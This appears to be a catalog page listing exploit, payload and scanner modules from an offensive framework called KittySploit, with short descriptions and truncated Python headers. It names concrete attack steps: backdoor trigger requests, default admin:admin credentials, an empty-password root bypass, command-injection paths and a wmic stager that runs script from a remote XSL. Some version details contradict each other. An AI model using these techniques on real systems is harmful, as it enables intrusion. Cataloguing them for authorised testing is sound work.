Grav CMS Blueprint dynamicData RCE (CVE-2026-65008)

Exploits CVE-2026-65008 in Grav CMS 2.0.7 fixed in 2.0.7: an authenticated user with admin.pages permission can plant a malicious forms frontmatter directive data-opts@ that routes through Blueprint::dynamicData to Grav\Common\Utils::arrayFilterRecursive and system. Execution triggers when any...

Payment Gateway PIX for WooCommerce CVE-2026-3891 upload detect

Detects CVE-2026-3891 in Payment Gateway PIX for WooCommerce = 1.5.0: unauthenticated nonce generation via admin-ajax.php indicates exposure to certificatecrtpath arbitrary file upload. !/usr/bin/env python3 -- coding: utf-8 -- """CVE-2026-3891 — Payment Gateway PIX for WooCommerce unauthenticate...

D-Link DAP-2020 - webproc File Read (CVE-2021-27250)

Reads arbitrary files from D-Link DAP-2020 via POST /cgi-bin/webproc errorpage= parameter CVE-2021-27250. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DAP-2020 webproc errorpage arbitrary file read CVE-2021-27250.""" from kittysploit import from lib.protocols.http.httpclient import...

Synology BeeStation (BSM) - File Disclosure (CVE-2024-50629 / SA-24:23)

Synology BeeStation OS allows unauthenticated file disclosure via webapi SYNO.API.Auth.RedirectURI CRLF/X-Accel-Redirect injection. Detection of CVE-2024-50629 also indicates exposure to SA-24:23 issues CVE-2024-10441, CVE-2024-10445. !/usr/bin/env python3 -- coding: utf-8 -- """Synology BeeStati...

rConfig - commands.inc.php SQLi Detection (CVE-2020-10220)

Detects CVE-2020-10220 by injecting UNION SELECT of a marker into commands.inc.php searchColumn and looking for id="" in the response. !/usr/bin/env python3 -- coding: utf-8 -- """rConfig commands.inc.php SQL injection CVE-2020-10220.""" from kittysploit import from lib.protocols.http.httpclient...

D-Link DSR - Default Credentials Detection

Tries admin:admin against /scgi-bin/platform.cgi on D-Link DSR devices and looks for authenticated UI markers or already-logged-in session prompts. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DSR devices default credentials admin:admin.""" from urllib.parse import quote from kittysploit...

D-Link DNS - login_mgr.cgi Auth Bypass Detection

Detects D-Link DNS authentication bypass via /cgi-bin/loginmgr.cgi?cmd=login&username=root&pwd= empty password. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DNS devices loginmgr.cgi authentication bypass.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

GlassFish - Admin Console TRACE Bypass Detection (CVE-2011-1511)

Detects CVE-2011-1511 by issuing TRACE to manageUserNew.jsf and matching ConfirmPassword / NewPassword form fields. !/usr/bin/env python3 -- coding: utf-8 -- """Oracle GlassFish Admin Console TRACE auth bypass CVE-2011-1511.""" from kittysploit import from lib.protocols.http.httpclient import...

Piwik - Loader.php Backdoor Detection

Detects Piwik analytics backdoor via /core/Loader.php?s=1&g=system'id'. !/usr/bin/env python3 -- coding: utf-8 -- """Piwik Loader.php backdoor RCE.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'Piwik -...

Gitlist - blame Command Injection Detection (CVE-2014-4511)

Detects CVE-2014-4511 by requesting /blame/master/""/blame/master/""/id ' 'after discovering a repository link on the Gitlist index.' , 'author': 'KittySploit Team', 'severity': 'critical', 'tags': 'web', 'scanner', 'cve', 'cve2014', 'gitlist', 'rce', 'cmdi', 'unauth', 'vuln', , 'agent': 'risk':...

vsftpd - Compromised Package Backdoor Detection (CVE-2011-2523)

Detects CVE-2011-2523 by sending USER X: / PASS X then checking for a shell on TCP/6200 that responds to id. !/usr/bin/env python3 -- coding: utf-8 -- """vsftpd 2.3.4 backdoor CVE-2011-2523.""" import re import socket import time from kittysploit import from lib.protocols.tcp.tcpscannerclient...

Elasticsearch - Groovy Script RCE (CVE-2015-1427)

Exploits CVE-2015-1427 Groovy scriptfields RCE on Elasticsearch /search. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Elasticsearch Groovy RCE CVE-2015-1427 — opens execute session.""" import json import re from kittysploit import from...

FreePBX - API handler system() RCE (CVE-2014-1903)

Exploits CVE-2014-1903 via /admin/config.php handler=api function=system. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """FreePBX API handler system RCE CVE-2014-1903 — opens execute session.""" import re from urllib.parse import quote from kittysploit import fr...

D-Link DWR - EXCU_SHELL RCE Detection (CVE-2018-19300)

Detects CVE-2018-19300 by sending cmdnum/command1/confirm1 headers to /EXCUSHELL and checking for /etc/passwd contents distinct header set from CVE-2023-26613. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DWR EXCUSHELL command injection CVE-2018-19300.""" import re from kittysploit import...

Mundi Mail - mypid Command Injection RCE

Exploits Mundi Mail by injecting shell commands into the mypid parameter. !/usr/bin/env python3 -- coding: utf-8 -- """Mundi Mail mypid command injection.""" import re from urllib.parse import quote from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

Synology DSM - File Disclosure via RedirectURI (CVE-2024-50629)

Synology DSM webapi SYNO.API.Auth.RedirectURI allows unauthenticated file disclosure via CRLF injection of an X-Accel-Redirect header Synology-SA-24:20. !/usr/bin/env python3 -- coding: utf-8 -- """Synology DSM file disclosure via X-Accel-Redirect CRLF injection Synology-SA-24:20.""" import re fr...

Windows Download Stager, wmic XSL

wmic os get /FORMAT:URL — executes JScript embedded in a remote XSL. Host a malicious stylesheet at stagerurl stager.xsl. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.downloadstagers import buildwmicxsl, buildstagerurl class ModulePayload: info = "name": "Windows...

DNS Recursion Available

Checks whether a DNS server answers recursive queries for third-party names open resolver risk — NSE dns-recursion. !/usr/bin/env python3 -- coding: utf-8 -- """DNS recursion check NSE dns-recursion.""" from kittysploit import from lib.protocols.ics.icsscannerclient import Icsscannerclient from...

Samba CVE-2017-7494 (version check)

Non-intrusive SambaCry likelihood check based on disclosed Samba version NSE smb-vuln-cve-2017-7494 check-version mode. Does not upload libraries. !/usr/bin/env python3 -- coding: utf-8 -- """SambaCry CVE-2017-7494 version check NSE smb-vuln-cve-2017-7494 check-version.""" from kittysploit import...

Orpak SiteOmat Login Panel - Detect

Orpak SiteOmat login panel was detected. !/usr/bin/env python3 -- coding: utf-8 -- """Orpak SiteOmat login panel was detected.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'Orpak SiteOmat Login Panel - Detect',...

WordPress <= 5.2.4 - Unauthenticated View Private/Draft Posts Detection

WordPress before 5.2.4 contains an information disclosure caused by mishandling of the static query property, letting unauthenticated users view certain content, exploit requires no authentication. !/usr/bin/env python3 -- coding: utf-8 -- """WordPress before 5.""" import re from kittysploit impo...

WordPress Simple Membership <4.1.1 - Cross-Site Scripting Detection

WordPress Simple Membership plugin before 4.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape parameters before outputting them back in AJAX actions. !/usr/bin/env python3 -- coding: utf-8 -- """WordPress Simple Membership plugin before 4.""" fr...

Integrate Google Drive <= 1.1.99 - Missing Authorization via REST API Endpoints Detection

The Integrate Google Drive plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on several REST API endpoints in versions up to, and including, 1.1.99. This makes it possible for unauthenticated attackers to perform a wide variety of operations, such as movi...

Zimbra Collaboration Server 7.2.2/8.0.2 Local File Inclusion Detection

A directory traversal vulnerability in /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz in Zimbra 7.2.2 and 8.0.2 allows remote attackers to read arbitrary files via a .. dot dot in the skin parameter. This can be leveraged to execute arbitrary code by obtaining LDAP...

OpenProject < 12.5.4 - Project Identifiers Exposure Detection

OpenProject versions before 12.5.6 generate a publicly accessible robots.txt file revealing project identifiers, even if the instance is set to 'Login required', letting attackers gather project info, exploit requires no authentication. !/usr/bin/env python3 -- coding: utf-8 -- """OpenProject...

WordPress 99 Robots WP Background Takeover Advertisements <=4.1.4 - Local File Inclusion Detection

WordPress 99 Robots WP Background Takeover Advertisements 4.1.4 is susceptible to local file inclusion via exports/download.php. !/usr/bin/env python3 -- coding: utf-8 -- """WordPress 99 Robots WP Background Takeover Advertisements 4.""" from kittysploit import from lib.protocols.http.httpclient...

ZZcms - Cross-Site Scripting Detection

ZZcms 2019 contains a cross-site scripting vulnerability in the user login page. An attacker can inject arbitrary JavaScript code in the referer header via user/login.php, which can allow theft of cookie-based credentials and launch of subsequent attacks. !/usr/bin/env python3 -- coding: utf-8 --...

PHP CGI - Argument Injection Detection

PHP CGI - Argument Injection CVE-2024-4577 is a critical argument injection flaw in PHP. !/usr/bin/env python3 -- coding: utf-8 -- """PHP CGI - Argument Injection CVE-2024-4577 is a critical argument injection flaw in PHP.""" from kittysploit import from lib.protocols.http.httpclient import...

Heimdall Application Dashboard < 2.7.3 - Reflected XSS Detection

LinuxServer.io Heimdall 2.7.3 contains a stored XSS caused by improper sanitization of the "q" parameter, letting remote attackers execute scripts, exploit requires crafted input. !/usr/bin/env python3 -- coding: utf-8 -- """LinuxServer.""" from kittysploit import from...

SolarWinds Web Help Desk < 12.8.8 Hotfix 1 (HF1) - Security Control Bypass Detection

SolarWinds Web Help Desk was found to be susceptible to a security control bypass vulnerability that if exploited, could allow an unauthenticated attacker to gain access to certain restricted functionality. !/usr/bin/env python3 -- coding: utf-8 -- """SolarWinds Web Help Desk was found to be...

Uncanny Toolkit for LearnDash - Open Redirection Detection

A vulnerability in the WordPress Uncanny Toolkit for LearnDash Plugin allowed malicious actors to redirect users, posing a potential risk of phishing incidents. The issue has been resolved in version 3.6.4.4, and users are urged to update for security. !/usr/bin/env python3 -- coding: utf-8 -- ""...

Nginx HTTP Server Amazon Linux Detection

Detects Nginx HTTP Server Amazon Linux. !/usr/bin/env python3 -- coding: utf-8 -- """Detects Nginx HTTP Server Amazon Linux.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'Nginx HTTP Server Amazon Linux Detection',...

OpenSearch Dashboard Panel - Detect

OpenSearch Dashboard is a visualization and management tool for OpenSearch. This template detects the presence of the OpenSearch Dashboard login panel, which is the default authentication interface for accessing the dashboard. !/usr/bin/env python3 -- coding: utf-8 -- """OpenSearch Dashboard is a...

Graphql Java Detect

Detects Graphql Java Detect. !/usr/bin/env python3 -- coding: utf-8 -- """Detects Graphql Java Detect.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'Graphql Java Detect', 'description': 'Detects Graphql Java...

Phoenix Contact CHARX SEC-3XXX AC Controller < 1.7.3 - Multiple Vulnerabilities Detection

Multiple vulnerabilities exist in Phoenix Contact CHARX SEC-3XXX AC Controller versions prior to 1.7.3. Successful exploitation may allow attackers to bypass authentication, disclose sensitive information, or execute arbitrary code. !/usr/bin/env python3 -- coding: utf-8 -- """Multiple...

WAVLINK WN535 G3 - Information Disclosure Detection

WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to information disclosure in the livemfg.shtml page. An attacker can obtain sensitive router information via the exec cmd function and possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations...

Fortinet FortiTester Login Panel - Detect

Fortinet FortiTester login panel was detected. !/usr/bin/env python3 -- coding: utf-8 -- """Fortinet FortiTester login panel was detected.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'Fortinet FortiTester Login...

ProFTPD Configuration File - Detect

ProFTPD configuration file was detected. !/usr/bin/env python3 -- coding: utf-8 -- """ProFTPD configuration file was detected.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'ProFTPD Configuration File - Detect',...

Reliable Controls MACH-Pro - Login Panel Detection

Reliable Controls MACH-ProWebSys is a web-based building controller for HVAC, lighting, and energy management using BACnet/IP. These controllers are widely deployed in commercial buildings across North America and are often directly internet-facing with no VPN protection. !/usr/bin/env python3 --...

Ampache Login Panel - Detect

Ampache login panel was detected. !/usr/bin/env python3 -- coding: utf-8 -- """Ampache login panel was detected.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'Ampache Login Panel - Detect', 'description': 'Ampache...

Joomla! Component JProject Manager 1.0 - Local File Inclusion Detection

A directory traversal vulnerability in the Ternaria Informatica JProject Manager comjprojectmanager component 1.0 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. dot dot in the controller parameter to index.php. !/usr/bin/env python3...

Dell DPI Remote Power Management - Detect

The Dell Metered Rack Power Distribution Unit distributes power to a server rack and are installed at the rear of a rack enclosure. !/usr/bin/env python3 -- coding: utf-8 -- """The Dell Metered Rack Power Distribution Unit distributes power to a server rack and are installed at the rear.""" from...

HCL BigFix Login Panel - Detect

HCL BigFix login panel was detected. !/usr/bin/env python3 -- coding: utf-8 -- """HCL BigFix login panel was detected.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'HCL BigFix Login Panel - Detect', 'description':...

Alibaba Cloud OSS Bucket - Public Listing Enabled Detection

Alibaba Cloud Object Storage Service OSS bucket is publicly accessible and allows anonymous listing of objects. This misconfiguration can expose sensitive data, lead to data breaches, and result in unexpected charges on the Alibaba Cloud bill. !/usr/bin/env python3 -- coding: utf-8 -- """Alibaba...

Raritan PDU - Login Panel Detection

Raritan intelligent PDU web interface panel has been detected. !/usr/bin/env python3 -- coding: utf-8 -- """Raritan intelligent PDU web interface panel has been detected.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name'...

Geddy <13.0.8 - Local File Inclusion Detection

Geddy prior to version 13.0.8 contains a directory traversal vulnerability in lib/app/index.js that allows remote attackers to read arbitrary files via a ..%2f dot dot encoded slash in the PATHINFO to the default URI. !/usr/bin/env python3 -- coding: utf-8 -- """Geddy prior to version 13.""" impo...

FreshRSS - Installation Detection

FreshRSS Installation panel has been exposed. !/usr/bin/env python3 -- coding: utf-8 -- """FreshRSS Installation panel has been exposed.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'FreshRSS - Installation...

Kube API Version Detection

Searches for exposed Kubernetes API servers which return version information unauthenticated !/usr/bin/env python3 -- coding: utf-8 -- """Searches for exposed Kubernetes API servers which return version information unauthenticated.""" from kittysploit import from lib.protocols.http.httpclient...

IBM DB2 Database Server - Detect

IBM DB2 Database Server panel was detected. !/usr/bin/env python3 -- coding: utf-8 -- """IBM DB2 Database Server panel was detected.""" import socket from kittysploit import from lib.protocols.tcp.tcpscannerclient import Tcpscannerclient class ModuleScanner, Tcpscannerclient: info = 'name': 'IBM...

HP Service Manager Login Panel - Detect

HP Service Manager login panel was detected. !/usr/bin/env python3 -- coding: utf-8 -- """HP Service Manager login panel was detected.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'HP Service Manager Logi...